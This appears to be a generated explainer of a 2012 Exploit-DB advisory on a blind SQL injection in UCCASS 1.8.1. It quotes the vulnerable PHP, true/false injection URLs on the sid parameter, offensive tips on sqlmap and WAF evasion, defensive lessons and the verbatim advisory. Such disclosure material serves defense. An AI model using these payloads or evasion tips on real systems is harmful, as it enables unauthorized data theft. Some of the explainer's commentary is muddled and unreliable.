Exploiting Blind SQL Injection in UCCASS v1.8.1

Exploiting Blind SQL Injection in UCCASS v1.8.1
What this paper is
This paper, published by "dun" in 2012, details a blind SQL injection vulnerability found in the UCCASS (Unit Command Climate Assessment and Survey System) web application, specifically versions 1.8.1 and earlier. UCCASS is a PHP-based survey script. The vulnerability allows an attacker to infer information from the database by observing the application's responses to specially crafted SQL queries.
Simple technical breakdown
The core of the vulnerability lies in how the filter.php script handles user input, specifically the sid parameter. This parameter, which represents a survey ID, is directly embedded into SQL queries within the classes/results.class.php file without proper sanitization.
An attacker can manipulate the sid parameter to inject SQL code. Because the application doesn't directly display the database errors or query results, the attacker has to use a "blind" technique. This involves crafting queries that, when executed, will cause the application to behave differently based on whether a condition within the injected SQL is true or false. For example, by appending OR 1=1-- (which makes the condition always true) or OR 1=2-- (which makes the condition always false), an attacker can observe subtle changes in the application's output or behavior to deduce information.
Complete code and payload walkthrough
The exploit focuses on two key PHP files: ./uccass/filter.php and ./uccass/classes/results.class.php.
1. ./uccass/filter.php:
<?php
include('classes/main.class.php');
include('classes/results.class.php'); // 1 definition of filter function
$survey = new UCCASS_Results;
echo $survey->com_header("Filter Survey Results");
echo $survey->filter($_REQUEST['sid']); // 2 unfiltered $_REQUEST['sid'] var
echo $survey->com_footer();
?>include('classes/main.class.php');andinclude('classes/results.class.php');: These lines include necessary class files for the application to function.results.class.phpcontains thefilterfunction that is vulnerable.$survey = new UCCASS_Results;: An instance of theUCCASS_Resultsclass is created.echo $survey->com_header("Filter Survey Results");andecho $survey->com_footer();: These lines likely handle the display of the page's header and footer, which are not directly involved in the SQL injection itself but are part of the application's output.echo $survey->filter($_REQUEST['sid']);: This is the critical line. It calls thefiltermethod of the$surveyobject, passing the value of thesidparameter from the HTTP request ($_REQUEST['sid']). The$_REQUESTsuperglobal in PHP can contain data from$_GET,$_POST, and$_COOKIE, making it a common source of vulnerabilities if not properly validated. The value of$_REQUEST['sid']is passed directly to thefilterfunction without any sanitization.
2. ./uccass/classes/results.class.php (lines: 441-479):
function filter($sid)
{
$x = 0;
$qid_list = '';
foreach($_REQUEST['select_qid'] as $qid)
{ $qid_list .= (int)$qid . ','; }
$qid_list = substr($qid_list,0,-1);
$query = "SELECT at.aid, q.qid, q.question, s.survey_text_mode
FROM {$this->CONF['db_tbl_prefix']}answer_types at,
{$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s
WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS') // 3 [SQL]
AND q.sid = s.sid
ORDER BY q.page, q.oid";
$rs = $this->db->Execute($query);
$old_aid = '';
if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }
if($r = $rs->FetchRow())
{
do
{
$question['question'][] = nl2br($this->SfStr->getSafeString($r['question'],$r['survey_text_mode']));
$question['encquestion'][] = $this->SfStr->getSafeString($r['question'],SAFE_STRING_TEXT);
$question['aid'][] = $r['aid'];
$question['qid'][] = $r['qid'];
$temp = $this->get_answer_values($r['aid'],BY_AID,$r['survey_text_mode']);
$question['value'][] = $temp['value'];
$question['avid'][] = $temp['avid'];
$x++;
}while($r = $rs->FetchRow());
$this->smarty->assign("question",$question);
}
$rs = $this->db->Execute("SELECT MIN(entered) AS mindate,
MAX(entered) AS maxdate FROM
{$this->CONF['db_tbl_prefix']}results WHERE sid = $sid"); // 4 [SQL]
if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }
$r = $rs->FetchRow();
...cut...function filter($sid): This function takes the$sidparameter (which comes directly from$_REQUEST['sid']) as its input.foreach($_REQUEST['select_qid'] as $qid) { $qid_list .= (int)$qid . ','; } $qid_list = substr($qid_list,0,-1);: This block processes another user-supplied input,$_REQUEST['select_qid']. It attempts to cast each element to an integer and builds a comma-separated list. While this part attempts some sanitization by casting toint, it's not directly related to thesidinjection.$query = "SELECT ... WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS') ... AND q.sid = s.sid ORDER BY q.page, q.oid";: This is the first SQL query construction. The$sidvariable, which originated from$_REQUEST['sid'], is directly concatenated into the SQL string. This is the primary injection point.{$this->CONF['db_tbl_prefix']}: This is a placeholder for the database table prefix, which is configurable and prevents direct table name guessing.q.sid = $sid: This is where the injected SQL will be placed.q.qid IN ($qid_list): This part uses the processedselect_qidinput.
$rs = $this->db->Execute($query);: This line executes the constructed SQL query using the database object ($this->db).if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }: This block handles potential database errors. In a blind SQL injection scenario, an attacker would not want to see detailed error messages. The vulnerability is that the application might display these errors or behave differently if an error occurs, which can be used for inference.if($r = $rs->FetchRow()) { ... }: This block processes the results of the first query. The loop (do...while) fetches rows and assigns data to an array$question. ThegetSafeStringmethod is used here, which is a form of output encoding/sanitization, but it doesn't prevent the injection itself.$rs = $this->db->Execute("SELECT MIN(entered) AS mindate, MAX(entered) AS maxdate FROM {$this->CONF['db_tbl_prefix']}results WHERE sid = $sid");: This is the second SQL query construction. Again, the$sidvariable is directly concatenated into the query. This query is used to retrieve date ranges for the survey. This second query is also vulnerable to the same injection.if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }: Similar error handling for the second query.
Exploit Payload Examples (as described in the paper):
- True condition:
http://localhost/uccass/filter.php?sid=-1 or 1=1--- The injected SQL becomes:
... AND q.sid = -1 or 1=1-- AND q.sid = s.sid ... - The
1=1condition is always true. - The
--comments out the rest of the original SQL query. - The application will likely return results or proceed without error, indicating the condition was met.
- The injected SQL becomes:
- False condition:
http://localhost/uccass/filter.php?sid=-1 or 1=2--- The injected SQL becomes:
... AND q.sid = -1 or 1=2-- AND q.sid = s.sid ... - The
1=2condition is always false. - The application will likely return no results or exhibit a different behavior (e.g., an error if the
if($rs === FALSE)block is triggered differently, or simply an empty result set).
- The injected SQL becomes:
Mapping list:
./uccass/filter.php(line 12):echo $survey->filter($_REQUEST['sid']);-> Entry point for user input (sid) into the vulnerable function../uccass/classes/results.class.php(line 441):function filter($sid)-> The vulnerable function that processes thesidparameter../uccass/classes/results.class.php(line 451):$query = "... WHERE q.sid = $sid ..."-> First SQL query where$sidis directly concatenated, enabling injection../uccass/classes/results.class.php(line 454):$rs = $this->db->Execute($query);-> Execution of the first vulnerable SQL query../uccass/classes/results.class.php(line 475):$rs = $this->db->Execute("SELECT ... WHERE sid = $sid");-> Second SQL query where$sidis directly concatenated, also enabling injection../uccass/classes/results.class.php(line 478):if($rs === FALSE) { $this->error(...) }-> Error handling that, if triggered differently by injected SQL, can provide information to the attacker.
Shellcode/Payload:
This paper does not contain any shellcode or executable payloads. The "payload" in this context refers to the crafted SQL injection strings used to exploit the vulnerability. The goal is to extract data or understand the database schema, not to execute arbitrary code on the server.
Practical details for offensive operations teams
- Required Access Level: Low-privileged user access to the web application is sufficient. The vulnerability is exploitable via standard HTTP requests.
- Lab Preconditions:
- A running instance of UCCASS v1.8.1 or earlier.
- A web server (e.g., Apache) with PHP and a compatible database (likely MySQL, given the PHP context) configured.
- The application must be accessible over the network.
- Knowledge of the application's URL structure.
- Tooling Assumptions:
- Web Browser: For manual testing and observation.
- HTTP Interceptor/Proxy: Tools like Burp Suite or OWASP ZAP are essential for intercepting, modifying, and replaying HTTP requests. This allows for precise crafting and sending of injected payloads.
- SQL Injection Tools (Optional but Recommended): Tools like SQLMap can automate the process of blind SQL injection, including data extraction, once the vulnerability is confirmed. However, understanding the manual process is crucial.
- Scripting Language (e.g., Python): For automating data extraction if not using a dedicated tool like SQLMap.
- Execution Pitfalls:
- Database Specific Syntax: The exact syntax for blind SQL injection (e.g.,
OR 1=1--,UNION SELECT, error-based techniques) can vary slightly depending on the underlying database system (MySQL, PostgreSQL, SQL Server, etc.). This paper implies a MySQL-like syntax. - WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might flag common SQL injection patterns. Operators may need to employ techniques like encoding, character substitution, or using less common SQL functions to bypass these defenses.
- Application Logic: The application might have other input validation or sanitization layers that could interfere. The
$_REQUESTsuperglobal is a broad target; understanding if thesidparameter is also passed via$_GETor$_POSTspecifically can be useful. - Rate Limiting/Blocking: Repeated failed attempts or suspicious activity might lead to IP blocking or account lockout.
- Data Extraction Complexity: Blind SQL injection is inherently slow. Extracting large amounts of data can be time-consuming and prone to network interruptions.
- Comment Syntax: The
--comment syntax is common but might not work in all SQL dialects or configurations.#is another common comment character in MySQL.
- Database Specific Syntax: The exact syntax for blind SQL injection (e.g.,
- Telemetry Considerations:
- HTTP Requests: Unusual GET or POST requests to
filter.phpwith complex query strings containing SQL keywords (OR,AND,SELECT,UNION,SLEEP,BENCHMARK, etc.), comments (--,#,/* */), and comparison operators. - Database Logs: If accessible, logs might show unusual or malformed queries being executed. However, in a blind scenario, the primary indicator is often the application's response, not direct database logs.
- Application Logs: The application might log errors if the injected SQL causes database exceptions. The presence of detailed database error messages in application logs could be an indicator.
- Network Traffic: Increased latency or unusual response patterns from the web server could indicate a time-based blind SQL injection attempt.
- HTTP Requests: Unusual GET or POST requests to
Where this was used and when
- Context: This vulnerability was discovered and published in 2012. It targets a specific PHP web application, UCCASS, used for creating and managing surveys.
- Usage: Such vulnerabilities are typically exploited by:
- Security Researchers: To identify and report flaws to vendors.
- Penetration Testers: During authorized engagements to assess the security of web applications.
- Malicious Actors: To gain unauthorized access to sensitive survey data, user information, or potentially pivot to other systems.
- Timeframe: The vulnerability existed in versions prior to v1.8.1, which was likely released before or around June 2012. Exploitation would have been relevant during the period following its discovery and until the vulnerability was patched.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is paramount. Never trust user input. All data from external sources (HTTP requests, user forms, APIs) must be rigorously validated against expected formats and sanitized to remove or neutralize potentially harmful characters or code.
- Parameterized Queries/Prepared Statements: Use parameterized queries (also known as prepared statements) for all database interactions. This separates the SQL code from the data, preventing user input from being interpreted as executable SQL commands.
- Least Privilege Principle: Ensure the database user account used by the web application has only the minimum necessary privileges. This limits the damage an attacker can do even if they manage to inject SQL.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common web attack patterns, including SQL injection attempts. However, WAFs are not a silver bullet and can be bypassed.
- Regular Patching and Updates: Keep all web applications, frameworks, and server software up to date with the latest security patches. This vulnerability was in an older version of UCCASS, highlighting the risk of using unpatched software.
- Secure Coding Practices Training: Educate developers on common web vulnerabilities like SQL injection and train them on secure coding best practices.
- Error Handling: Configure applications to display generic error messages to users and log detailed error information securely on the server. Avoid revealing database error messages that could aid attackers.
ASCII visual (if applicable)
This vulnerability is primarily about data flow and how user input interacts with backend code and a database. An ASCII diagram can illustrate this.
+-----------------+ +-----------------+ +---------------------+ +--------------+
| Attacker |----->| Web Browser |----->| UCCASS Web App |----->| Database |
| (Crafts Payload)| | (Sends Request) | | (filter.php) | | (Stores Data)|
+-----------------+ +-------+---------+ +----------+----------+ +--------------+
| |
| $_REQUEST['sid'] | SQL Query Execution
| |
v v
+-------+---------+ +----------+----------+
| PHP Script |----->| results.class.php |
| (filter.php) | | (filter function) |
+-----------------+ +----------+----------+
|
| $sid is concatenated
| into SQL query string
v
+-----------------+
| Malicious SQL |
| (e.g., -1 or 1=1--)|
+-----------------+Explanation:
- The Attacker crafts a malicious payload (e.g.,
-1 or 1=1--). - The Web Browser sends an HTTP request containing this payload in the
sidparameter to the UCCASS Web App. - The UCCASS Web App (specifically
filter.php) receives the request. - The PHP script passes the
$_REQUEST['sid']value directly to thefilterfunction inresults.class.php. - The
filterfunction concatenates the attacker's payload into a SQL query string. - The Database executes this malformed SQL query.
- The application's response (or lack thereof, or error behavior) based on the query's outcome is sent back to the attacker, allowing them to infer information.
Source references
- Paper ID: 19386
- Paper Title: UCCASS 1.8.1 - Blind SQL Injection
- Author: dun
- Published: 2012-06-24
- Paper URL: https://www.exploit-db.com/papers/19386
- Raw URL: https://www.exploit-db.com/raw/19386
Original Exploit-DB Content (Verbatim)
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-22 ]
#################################################################
# [ UCCASS <= v1.8.1 ] Blind SQL Injection Vulnerability #
#################################################################
#
# Script: "The Unit Command Climate Assessment and Survey System (UCCASS) (pronounced yoo-kas)
# is a PHP based survey script that allows you to create online surveys..."
#
# Vendor: http://sourceforge.net/projects/uccass/
# Download: http://sourceforge.net/projects/uccass/files/latest/download
#
################################################################
#
# [SQL]
#
# Versions affected: v1.8.1 and previous
#
# Vuln: http://localhost/uccass/filter.php?sid=-1 or 1=1-- (true)
# http://localhost/uccass/filter.php?sid=-1 or 1=2-- (false)
#
File: ./uccass/filter.php
...cut...
<?php
include('classes/main.class.php');
include('classes/results.class.php'); // 1 definition of filter function
$survey = new UCCASS_Results;
echo $survey->com_header("Filter Survey Results");
echo $survey->filter($_REQUEST['sid']); // 2 unfiltered $_REQUEST['sid'] var
echo $survey->com_footer();
?>
...cut...
File: ./uccass/classes/results.class.php ( lines: 441-479 )
...cut...
function filter($sid)
{
$x = 0;
$qid_list = '';
foreach($_REQUEST['select_qid'] as $qid)
{ $qid_list .= (int)$qid . ','; }
$qid_list = substr($qid_list,0,-1);
$query = "SELECT at.aid, q.qid, q.question, s.survey_text_mode
FROM {$this->CONF['db_tbl_prefix']}answer_types at,
{$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s
WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS') // 3 [SQL]
AND q.sid = s.sid
ORDER BY q.page, q.oid";
$rs = $this->db->Execute($query);
$old_aid = '';
if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }
if($r = $rs->FetchRow())
{
do
{
$question['question'][] = nl2br($this->SfStr->getSafeString($r['question'],$r['survey_text_mode']));
$question['encquestion'][] = $this->SfStr->getSafeString($r['question'],SAFE_STRING_TEXT);
$question['aid'][] = $r['aid'];
$question['qid'][] = $r['qid'];
$temp = $this->get_answer_values($r['aid'],BY_AID,$r['survey_text_mode']);
$question['value'][] = $temp['value'];
$question['avid'][] = $temp['avid'];
$x++;
}while($r = $rs->FetchRow());
$this->smarty->assign("question",$question);
}
$rs = $this->db->Execute("SELECT MIN(entered) AS mindate,
MAX(entered) AS maxdate FROM
{$this->CONF['db_tbl_prefix']}results WHERE sid = $sid"); // 4 [SQL]
if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }
$r = $rs->FetchRow();
...cut...
### [ dun / 2012 ] #####################################################